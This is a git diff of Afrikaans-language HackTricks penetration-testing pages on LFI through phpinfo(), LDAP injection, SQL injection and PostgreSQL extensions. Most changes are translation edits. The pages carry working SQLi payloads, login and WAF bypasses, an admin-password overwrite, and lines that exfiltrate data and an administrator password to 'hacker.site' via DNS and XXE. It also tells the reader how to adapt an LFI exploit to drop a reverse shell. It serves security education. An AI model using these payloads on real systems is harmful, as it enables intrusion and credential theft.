&#xNAN;_Eten as jy 'n PHP Fatale Fout veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
{{#endfile}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file_uploads = on" en die bediener moet in die "/tmp" gids kan skryf.**
|
||||
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
@ -10,9 +10,11 @@ Jy moet die eksploitasie regmaak (verander **=>** na **=>**). Om dit te doen, ka
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
U moet ook die **payload** aan die begin van die exploit verander (byvoorbeeld vir 'n php-rev-shell), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, d.w.s.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, d.w.s.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kontroleer die dubbele "%" wanneer jy null char exploiteer)
|
||||
U moet ook die **payload** aan die begin van die exploit verander (vir 'n php-rev-shell byvoorbeeld), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, d.w.s.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, d.w.s.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kontroleer die dubbele "%" wanneer jy die null char exploiteer)
|
||||
|
||||
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Teorie
|
||||
|
||||
@ -22,11 +24,11 @@ As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die n
|
||||
|
||||
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
|
||||
|
||||
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en toegang te verkry voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
||||
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en dit te benader voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php-bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
||||
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koptekste) **wat 'n php** omgekeerde **shell oplaai**, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php-bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
||||
|
||||
**Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)**
|
||||
```python
|
||||
|
@ -14,9 +14,11 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers in staat stel om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of data-manipulasie.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
{{#file}}
|
||||
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
{{#endfile}}
|
||||
|
||||
**Filter** = ( filtercomp )\
|
||||
**Filtercomp** = en / of / nie / item\
|
||||
@ -28,11 +30,11 @@
|
||||
**Eenvoudig** = attr filtertype assertionvalue\
|
||||
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
|
||||
**Teenwoordig** = attr = \*\
|
||||
**Substring** = attr ”=” \[begin] \* \[eindig]\
|
||||
**Begin** = assertionvalue\
|
||||
**Eindig** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
**Substring** = attr ”=” \[aanvanklik] \* \[finale]\
|
||||
**Aanvanklik** = assertionvalue\
|
||||
**Finale** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute WAAR\
|
||||
&#xNAN;**(|)** = Absolute VALSE
|
||||
|
||||
Byvoorbeeld:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
|
@ -21,9 +21,9 @@ Wanneer 'n webwerf blyk te wees **kwesbaar vir SQL-inspuiting (SQLi)** weens ong
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Dan, jy moet weet hoe om die **navraag reg te stel sodat daar nie foute is nie**. Om die navraag reg te stel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
|
||||
Dan moet jy weet hoe om die **navraag te herstel sodat daar geen foute is nie**. Om die navraag te herstel, kan jy **data invoer** sodat die **vorige navraag die nuwe data aanvaar**, of jy kan net jou data **invoer** en **'n kommentaar simbool aan die einde voeg**.
|
||||
|
||||
_Noteer dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
_Nota dat as jy foutboodskappe kan sien of jy kan verskille opmerk wanneer 'n navraag werk en wanneer dit nie werk nie, sal hierdie fase makliker wees._
|
||||
|
||||
### **Kommentaar**
|
||||
```sql
|
||||
@ -66,11 +66,13 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Hierdie woordlys is geskep om te probeer om **SQLinjections** op die voorgestelde manier te **bevestig**:
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
{{#file}}
|
||||
sqli-logic.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bevestiging met Tyd
|
||||
|
||||
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** sal hê wat die bladsy benodig om te laai.\
|
||||
In sommige gevalle **sal jy geen verandering** op die bladsy wat jy toets, opgemerk nie. Daarom is 'n goeie manier om **blinde SQL injections** te ontdek om die DB aksies te laat uitvoer wat 'n **invloed op die tyd** wat die bladsy neem om te laai, sal hê.\
|
||||
Daarom gaan ons in die SQL-navraag 'n operasie byvoeg wat baie tyd sal neem om te voltooi:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
@ -93,7 +95,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
In sommige gevalle sal die **slaap funksies nie toegelaat word** nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die navraag **kompleks operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke gaan apart op elke tegnologie kommentaar lewer (indien enige)_.
|
||||
In sommige gevalle sal die **slaap funksies nie toegelaat word** nie. Dan, in plaas daarvan om daardie funksies te gebruik, kan jy die navraag **kompleks operasies laat uitvoer** wat verskeie sekondes sal neem. _Voorbeelde van hierdie tegnieke gaan apart op elke tegnologie kommentaar gelewer word (indien enige)_.
|
||||
|
||||
### Identifisering van die Agterkant
|
||||
|
||||
@ -136,7 +138,7 @@ Ook, as jy toegang het tot die uitvoer van die navraag, kan jy dit **druk die we
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Ontginning van Unie-gebaseerde
|
||||
## Ontginning van Union-gebaseerde
|
||||
|
||||
### Opspoor van die aantal kolomme
|
||||
|
||||
@ -144,7 +146,7 @@ As jy die uitvoer van die navraag kan sien, is dit die beste manier om dit te on
|
||||
Eerstens moet ons uitvind die **aantal** **kolomme** wat die **aanvanklike versoek** teruggee. Dit is omdat **albei navrae dieselfde aantal kolomme moet teruggee**.\
|
||||
Twee metodes word tipies vir hierdie doel gebruik:
|
||||
|
||||
#### Bestel/Groep volgens
|
||||
#### Order/Groep deur
|
||||
|
||||
Om die aantal kolomme in 'n navraag te bepaal, pas die getal wat in **ORDER BY** of **GROUP BY** klousules gebruik word, geleidelik aan totdat 'n vals antwoord ontvang word. Ten spyte van die verskillende funksies van **GROUP BY** en **ORDER BY** binne SQL, kan albei identies gebruik word om die navraag se kolomtelling te bepaal.
|
||||
```sql
|
||||
@ -172,7 +174,7 @@ Kies meer en meer null waardes totdat die navraag korrek is:
|
||||
```
|
||||
_Jy moet `null` waardes gebruik soos in sommige gevalle die tipe van die kolomme aan beide kante van die navraag dieselfde moet wees en null is geldig in elke geval._
|
||||
|
||||
### Trek databasisname, tabelname en kolomname uit
|
||||
### Trek databasisname, tabelname en kolomnamen uit
|
||||
|
||||
In die volgende voorbeelde gaan ons die naam van al die databasisse, die tabelnaam van 'n databasis, die kolomnamen van die tabel onttrek:
|
||||
```sql
|
||||
@ -189,7 +191,7 @@ _Daar is 'n ander manier om hierdie data op elke verskillende databasis te ontde
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agtergrond verstaan word.
|
||||
Wanneer die uitvoer van 'n navraag sigbaar is, maar 'n union-gebaseerde inspuiting onbereikbaar blyk te wees, dui dit op die teenwoordigheid van 'n **verborgene union-gebaseerde inspuiting**. Hierdie scenario lei dikwels tot 'n blinde inspuitingsituasie. Om 'n blinde inspuiting in 'n union-gebaseerde een te transformeer, moet die uitvoeringsnavraag op die agterkant verstaan word.
|
||||
|
||||
Dit kan bereik word deur die gebruik van blinde inspuitingstegnieke saam met die standaard tabelle wat spesifiek is vir jou teiken Databasisbestuurstelsel (DBMS). Om hierdie standaard tabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.
|
||||
|
||||
@ -199,7 +201,7 @@ Vir meer omvattende insigte, verwys na die volledige artikel beskikbaar by [Heal
|
||||
|
||||
## Exploiting Error based
|
||||
|
||||
As jy om een of ander rede **nie** die **uitvoer** van die **navraag** kan sien nie, maar jy kan **die foutboodskappe** sien, kan jy hierdie foutboodskappe gebruik om **data uit die databasis te ex-filtreer**.\
|
||||
As jy om een of ander rede die **uitvoer** van die **navraag** **nie** kan sien nie, maar jy kan die **foutboodskappe** **sien**, kan jy hierdie foutboodskappe gebruik om data uit die databasis te **ex-filtreer**.\
|
||||
Volg 'n soortgelyke vloei soos in die Union Based benutting, kan jy daarin slaag om die DB te dump.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -213,29 +215,29 @@ In hierdie geval kan jy daardie gedrag misbruik om die databasis karakter vir ka
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Dit is die **dieselfde geval as voorheen** maar in plaas daarvan om te onderskei tussen 'n waar/onwaar antwoord van die navraag kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy korrek die karakter raai:
|
||||
Dit is die **dieselfde geval as voorheen** maar in plaas daarvan om te onderskei tussen 'n waar/onwaar antwoord van die navraag kan jy **onderskei tussen** 'n **fout** in die SQL-navraag of nie (miskien omdat die HTTP-bediener ineenstort). Daarom kan jy in hierdie geval 'n SQL-fout afdwing elke keer wanneer jy die karakter korrek raai:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
In hierdie geval **is daar nie** enige manier om die **reaksie** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [‘n SQLi kwesbaarheid te bevestig](#confirming-with-timing).
|
||||
In hierdie geval **is daar nie** enige manier om die **reaksie** van die navraag te **onderskei** op grond van die konteks van die bladsy nie. Maar, jy kan die bladsy **langer laat neem om te laai** as die geraamde karakter korrek is. Ons het hierdie tegniek al voorheen gesien in gebruik om [‘n SQLi kwesbaarheid te bevestig](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Gestapelde Vrae
|
||||
|
||||
Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende vrae uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur** word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met **blindes kwesbaarhede** waar jy 'n tweede vraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout of tydsvertraging te aktiveer.
|
||||
Jy kan gestapelde vrae gebruik om **meerdere vrae agtereenvolgens uit te voer**. Let daarop dat terwyl die daaropvolgende vrae uitgevoer word, die **resultate** **nie aan die toepassing teruggestuur** word nie. Daarom is hierdie tegniek hoofsaaklik nuttig in verband met **blinde kwesbaarhede** waar jy 'n tweede vraag kan gebruik om 'n DNS-opsoek, voorwaardelike fout of tydsvertraging te aktiveer.
|
||||
|
||||
**Oracle** ondersteun nie **gestapelde vrae nie.** **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** ondersteun nie **gestapelde vrae** nie. **MySQL, Microsoft** en **PostgreSQL** ondersteun dit: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Uit-baan Exploitatie
|
||||
|
||||
As **geen ander** eksploitasiemetode **gewerk het nie**, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvoer. Byvoorbeeld, via DNS-vrae:
|
||||
As **geen ander** eksploitasiemetode **gewerk** het nie, kan jy probeer om die **databasis** die inligting na 'n **eksterne gasheer** wat deur jou beheer word, te laat uitvoer. Byvoorbeeld, via DNS-vrae:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Uit-baan data-uitvloeiing via XXE
|
||||
### Uit-baan data eksfiltrasie via XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
@ -243,9 +245,9 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
|
||||
Kyk na die [SQLMap Cheatsheet](sqlmap/index.html) om 'n SQLi kwesbaarheid met [**sqlmap**](https://github.com/sqlmapproject/sqlmap) te exploiteer.
|
||||
|
||||
## Tegnies spesifieke inligting
|
||||
## Tegniese spesifieke inligting
|
||||
|
||||
Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploiteer. Vind nog 'n paar truuks wat afhanklik is van databastegnologie in hierdie boek:
|
||||
Ons het reeds al die maniere bespreek om 'n SQL Injection kwesbaarheid te exploiteer. Vind nog 'n paar truuks wat afhanklik is van databasis tegnologie in hierdie boek:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -257,7 +259,7 @@ Of jy sal **'n baie truuks vind rakende: MySQL, PostgreSQL, Oracle, MSSQL, SQLit
|
||||
|
||||
## Verifikasie omseiling
|
||||
|
||||
Lys om te probeer om die aanmeldfunksionaliteit te omseil:
|
||||
Lys om te probeer om die aanmeld funksionaliteit te omseil:
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
@ -272,7 +274,7 @@ Hierdie navraag demonstreer 'n kwesbaarheid wanneer MD5 met waar vir rou uitvoer
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Geïnkorporeerde hash-verifikasie omseiling
|
||||
### Ingese hash outentisering omseiling
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
Jy moet elke lyn van die lys as gebruikersnaam gebruik en as wagwoord altyd: _**Pass1234.**_\
|
||||
&#xNAN;_(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK Verifikasie Omseiling
|
||||
|
||||
@ -304,17 +308,17 @@ print r.text
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Stelling
|
||||
## Invoegingsverklaring
|
||||
|
||||
### Verander wagwoord van bestaande objek/gebruiker
|
||||
### Wysig wagwoord van bestaande objek/gebruiker
|
||||
|
||||
Om dit te doen, moet jy probeer om **'n nuwe objek te skep met die naam "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te verander:
|
||||
Om dit te doen, moet jy probeer om **'n nuwe objek te skep met die naam "master object"** (waarskynlik **admin** in die geval van gebruikers) deur iets te wysig:
|
||||
|
||||
- Skep gebruiker met naam: **AdMIn** (hoofdletters & kleinletters)
|
||||
- Skep 'n gebruiker met naam: **admin=**
|
||||
- **SQL Truncation Aanval** (wanneer daar 'n soort **lengte beperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[baie spasie] a**
|
||||
- **SQL Truncation Attack** (wanneer daar 'n soort **lengte beperking** in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: **admin \[baie spasie] a**
|
||||
|
||||
#### SQL Truncation Aanval
|
||||
#### SQL Truncation Attack
|
||||
|
||||
As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy wil die gebruiker **admin** naboots, probeer om 'n gebruikersnaam te skep genaamd: "_admin \[30 spasies] a_" en enige wagwoord.
|
||||
|
||||
@ -322,17 +326,17 @@ Die databasis sal **kontroleer** of die ingevoerde **gebruikersnaam** **bestaand
|
||||
|
||||
Meer inligting: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL installasies nie. Terwyl vergelykings steeds agtergrondspasies standaard ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Noot: Hierdie aanval sal nie meer werk soos hierbo beskryf in die nuutste MySQL-installasies nie. Terwyl vergelykings steeds agtergrondspasies standaard ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. Vir meer inligting oor hierdie kontrole:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Invoeg tyd-gebaseerde kontrole
|
||||
### MySQL Invoeg tydgebaseerde kontrole
|
||||
|
||||
Voeg soveel `','',''` by as wat jy oorweeg om die VALUES stelling te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
|
||||
Voeg soveel `','',''` by as wat jy oorweeg om die VALUES-verklaring te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### OP DUPLIKATE SLUITING BYWERKING
|
||||
### OP DUPLIKATE SLEUTEL OPDATEER
|
||||
|
||||
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek aan te dui wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLUITING sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie kenmerk uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
|
||||
Die `ON DUPLICATE KEY UPDATE` klousule in MySQL word gebruik om aksies vir die databasis spesifiek te maak wanneer 'n poging aangewend word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIEKE indeks of PRIMÊRE SLEUTEL sou veroorsaak. Die volgende voorbeeld demonstreer hoe hierdie funksie uitgebuit kan word om die wagwoord van 'n administrateurrekening te wysig:
|
||||
|
||||
Voorbeeld Payload Inspuiting:
|
||||
|
||||
@ -382,7 +386,7 @@ Gebruik **hex** en **replace** (en **substr**):
|
||||
|
||||
Gerouteerde SQL-inspuiting is 'n situasie waar die inspuitbare navraag nie die een is wat uitset gee nie, maar die uitset van die inspuitbare navraag gaan na die navraag wat uitset gee. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Voorbeeld:
|
||||
Example:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
@ -391,9 +395,9 @@ Voorbeeld:
|
||||
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Geen spaties omseiling
|
||||
### Geen spasies omseiling
|
||||
|
||||
Geen Spasie (%20) - omseiling met behulp van witruimte-alternatiewe
|
||||
Geen Spasie (%20) - omseiling met behulp van witruimte alternatiewe
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -426,7 +430,7 @@ Swartlys gebruik van sleutelwoorde - omseil met hoofletters/kleinletters
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Swartlys gebruik van sleutelwoorde, nie-sensitief - omseil met 'n ekwivalente operator
|
||||
Swartlys gebruik sleutelwoorde nie-hoofletters - omseil met 'n ekwivalente operator
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
|
||||
|
||||
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgecompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
Vanaf weergawe 8.1 word 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
@ -68,12 +68,12 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
egter, toe dit op groter weergawes probeer is **is die volgende fout getoon**:
|
||||
egter, toe dit op groter weergawes probeer is **is die volgende fout gewys**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Hierdie fout word in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html) verduidelik:
|
||||
Hierdie fout word verduidelik in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
|
||||
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
|
||||
>
|
||||
@ -81,7 +81,7 @@ Hierdie fout word in die [PostgreSQL dokumentasie](https://www.postgresql.org/do
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek op te laai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die benutting van PostgreSQL-stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
|
||||
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te ontgin, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die ontginning van PostgreSQL-stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
|
